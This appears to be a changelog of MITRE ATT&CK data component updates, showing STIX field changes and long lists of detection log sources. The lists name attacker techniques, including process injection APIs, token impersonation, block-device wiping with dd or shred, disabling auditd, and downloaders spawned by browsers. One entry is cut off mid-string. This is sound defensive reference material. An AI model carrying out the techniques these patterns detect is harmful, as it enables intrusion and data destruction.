| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:20.168000+00:00 | 2025-10-21 15:14:34.703000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock|NSDistributedLock|FileHandle.*lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_*'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:31.145000+00:00 | 2025-10-21 15:14:36.999000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0116', 'external_id': 'DC0116'}] | |
| x_mitre_log_sources | [{'name': 'User Interface', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:21.873000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0114', 'external_id': 'DC0114'}] | |
| x_mitre_log_sources | [{'name': 'Application Vetting', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:21.394000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/*'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail.* exec.*'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/*.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(… SO_ATTACH_FILTER|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf*" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm|exec openssl|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:27.797000+00:00 | 2025-10-21 19:28:39.339000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}] | |
